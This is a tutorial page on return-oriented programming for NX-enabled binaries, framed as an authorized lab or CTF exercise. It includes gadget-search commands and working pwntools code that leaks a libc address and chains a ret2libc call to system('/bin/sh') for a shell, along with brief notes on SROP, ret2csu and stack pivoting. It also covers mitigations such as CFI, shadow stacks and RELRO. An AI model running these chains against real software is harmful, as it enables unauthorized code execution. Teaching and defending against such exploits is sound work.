Return-Oriented Programming (ROP)
When the stack isn’t executable (NX/DEP enabled), you can’t put shellcode and jump to it. The solution is ROP: instead of injecting new code, you reuse pieces of code that already exist in the binary or in libc. Those pieces, called gadgets, are short sequences ending in ret; chaining them on the stack you build the logic you want (put arguments in registers, call system, make a syscall) without injecting a single new instruction.
Threat model
Section titled “Threat model”We start from stack control (typically a stack overflow with a known offset, see Stack Buffer Overflow) and a binary with NX enabled. ROP turns that stack control into arbitrary code execution by reusing the legitimate code already loaded. Authorized lab/CTF scenario.
Theory: the idea
Section titled “Theory: the idea”A gadget is a sequence ending in ret, for example pop rdi ; ret. Since you control the stack, you control which “returns” get chained: each ret does pop rip of the next value you placed.
flowchart TD
A["initial ret from the overflow"] --> B["pop rdi ; ret"]
B --> C["value: &'/bin/sh' (goes to RDI)"]
C --> D["alignment ret"]
D --> E["system()"]
E --> F["shell"]
The stack looks like: [pop rdi; ret][&'/bin/sh'][ret][system]. Effect: RDI = "/bin/sh", the stack gets aligned, and system("/bin/sh") is called. It’s “programming” with returns.
Finding gadgets
Section titled “Finding gadgets”ROPgadget --binary ./vuln # list all gadgetsROPgadget --binary ./vuln | grep "pop rdi"ropper --file ./vuln --search "pop rdi"In GDB with pwndbg: rop or ropgadget. The most sought-after (per the calling convention, see x86-64 Assembly): pop rdi ; ret, pop rsi ; ret, pop rdx ; ret, and a lone ret for alignment.
You need a leak (ASLR)
Section titled “You need a leak (ASLR)”With ASLR, libc’s base changes every run. First you leak a libc address (by printing a GOT entry with puts), compute the base, and from it the addresses of system//bin/sh:
from pwn import *context.binary = elf = ELF('./vuln')libc = ELF('./libc.so.6')
io = process('./vuln')offset = 72pop_rdi = 0x4011d3 # binary gadget (from ROPgadget)ret = 0x40101a # alignment ret
# 1st ROP: leak -> puts(puts@got) to leak the real address of putsrop1 = flat(b'A'*offset, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'])io.sendlineafter(b'> ', rop1)leak = u64(io.recvline().strip().ljust(8, b'\x00'))libc.address = leak - libc.symbols['puts'] # libc baselog.info('libc base = %#x', libc.address)Exploitation (lab): ret2libc
Section titled “Exploitation (lab): ret2libc”With the libc base computed, the second ROP calls system("/bin/sh"):
# 2nd ROP: ret2libcbinsh = next(libc.search(b'/bin/sh\x00'))rop2 = flat( b'A'*offset, pop_rdi, binsh, # RDI = "/bin/sh" ret, # align the stack to 16 bytes (movaps in modern libc) libc.symbols['system'] # system("/bin/sh"))io.sendlineafter(b'> ', rop2)io.interactive()pwntools builds chains automatically with the ROP object, which avoids placing gadgets by hand:
rop = ROP([elf, libc])rop.call('system', [binsh]) # resolves pop rdi; ret and alignment for youpayload = flat(b'A'*offset, rop.chain())Other ROP techniques
Section titled “Other ROP techniques”- ret2syscall — chain gadgets for a direct
execve("/bin/sh", 0, 0)syscall (RAX=59, RDI=&binsh, RSI=0, RDX=0 ; syscall); useful without libc. - SROP (Sigreturn-Oriented Programming) — abuse
sigreturnto set all registers at once with a fake frame (SigreturnFramein pwntools). - ret2csu — use the universal
__libc_csu_initgadget to controlRDI/RSI/RDXwhen gadgets are missing (on very old binaries). - one_gadget — a single libc address that spawns a shell if certain register constraints hold.
- stack pivoting — move
RSPto controlled memory when the overflow is too small for the whole chain.
Mitigations / Blue Team
Section titled “Mitigations / Blue Team”- CFI (Control-Flow Integrity) and shadow stacks (Intel CET,
endbr64): make chaining arbitrary returns harder. - Strong ASLR + PIE: with no leak there’s no reliable ROP; avoid leaks (don’t print pointers, close format strings).
- Full RELRO (read-only GOT) closes GOT overwrites; stack canaries cut the source overflow.
- Reduce useful gadgets (
-fcf-protection), and where possible, memory-safe languages.
Checklist
Section titled “Checklist”- Confirm NX (
checksec) → ROP needed - Control of
RIPvia overflow (known offset) - Find gadgets (ROPgadget/ropper):
pop rdi/rsi/rdx - Libc leak (bypass ASLR) and base computation
- ret2libc:
system("/bin/sh")or ret2syscallexecve - Stack alignment (extra
ret) on modern libc - one_gadget / SROP / ret2csu if it fits
- Shell/flag locally → remote